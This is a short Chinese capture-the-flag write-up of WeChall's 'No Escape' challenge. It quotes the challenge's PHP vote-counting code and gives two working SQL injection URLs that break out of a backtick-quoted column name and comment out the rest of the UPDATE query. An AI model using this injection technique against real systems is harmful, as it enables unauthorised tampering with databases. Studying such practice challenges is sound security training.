当前位置: 首页 > news >正文

[WeChall] No Escape (Exploit, PHP, MySQL)

问题

目标:将任意一个人的投票数改成111.

点击Vote for 某某就会增加1投票数,但是不能靠慢慢点的方法来解决这题目。

因为93-109行定义了一个函数,在点到100的时候,它会重置。

function noesc_stop100()
{
        $votes = noesc_getVotes();
        foreach ($votes as $who => $count)
        {
                if ($count == 111) {
                        noesc_solved();
                        noesc_resetVotes();
                        break;
                }
                
                if ($count >= 100) {
                        noesc_resetVotes();
                        break;
                }
        }
}

解决

查看投票成功的实现代码:

function noesc_voteup($who)
{
        if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
                echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
                return;
        }


        $db = noesc_db();
        $who = mysql_real_escape_string($who);
        $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
        if (false !== $db->queryWrite($query)) {
                echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
        }

        noesc_stop100();
}

给投票数加1的代码是:

$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";

因此有两种方法,不过都是通过注释来丢弃后面的语句

访问地址

http://www.wechall.net/challenge/no_escape/index.php?vote_for=bill`=111--%20

http://www.wechall.net/challenge/no_escape/index.php?vote_for=bill`=111%23

即可成功解题。

相关文章:

  • error_code: 此条为不计费广告,正常投放请联
  • <a href=“#“ onclick=“do_some_func(\...笔记
  • 搜狗站长平台 不用审核强制提交sitemap的方法
  • 给typecho配置sitemap网站地图 并提交到360
  • Compilation failed: internal java compiler error
  • Dependency ‘org.mybatis:mybatis‘ not found
  • WeChall Guesswork (Exploit) Write Up 答案
  • [WeChall] PHP 0815 (Exploit, PHP) Write Up
  • ssp.360 提示 您的网站域名未通过验证! 的解决
  • web前端黑客技术揭秘 6.2.3URL编码差异 笔记
  • WeChall Enlightment (Encoding) Write Up
  • Python 任意进制到任意进制转换 的实现代码
  • 反射型XSS <?php echo $_GET[‘x‘];?> 笔记
  • JavaScript/JS 实现文字逐个显示 延迟缓慢展示
  • idea copy reference没有了
  • [译] React v16.8: 含有Hooks的版本
  • 07.Android之多媒体问题
  • Bytom交易说明(账户管理模式)
  • Cookie 在前端中的实践
  • docker python 配置
  • echarts花样作死的坑
  • JavaScript工作原理(五):深入了解WebSockets,HTTP/2和SSE,以及如何选择
  • Markdown 语法简单说明
  • Median of Two Sorted Arrays
  • Perseus-BERT——业内性能极致优化的BERT训练方案
  • Protobuf3语言指南
  • QQ浏览器x5内核的兼容性问题
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • Yeoman_Bower_Grunt
  • 第十八天-企业应用架构模式-基本模式
  • 前端知识点整理(待续)
  • 如何实现 font-size 的响应式
  • 提醒我喝水chrome插件开发指南
  • 我看到的前端
  • 原生js练习题---第五课
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • 扩展资源服务器解决oauth2 性能瓶颈
  • 如何通过报表单元格右键控制报表跳转到不同链接地址 ...
  • 说说我为什么看好Spring Cloud Alibaba
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • #快捷键# 大学四年我常用的软件快捷键大全,教你成为电脑高手!!
  • (2)(2.10) LTM telemetry
  • (26)4.7 字符函数和字符串函数
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (力扣)循环队列的实现与详解(C语言)
  • (六)Hibernate的二级缓存
  • (算法)Game
  • (转)linux 命令大全
  • (转)项目管理杂谈-我所期望的新人
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • *** 2003
  • *上位机的定义
  • .apk 成为历史!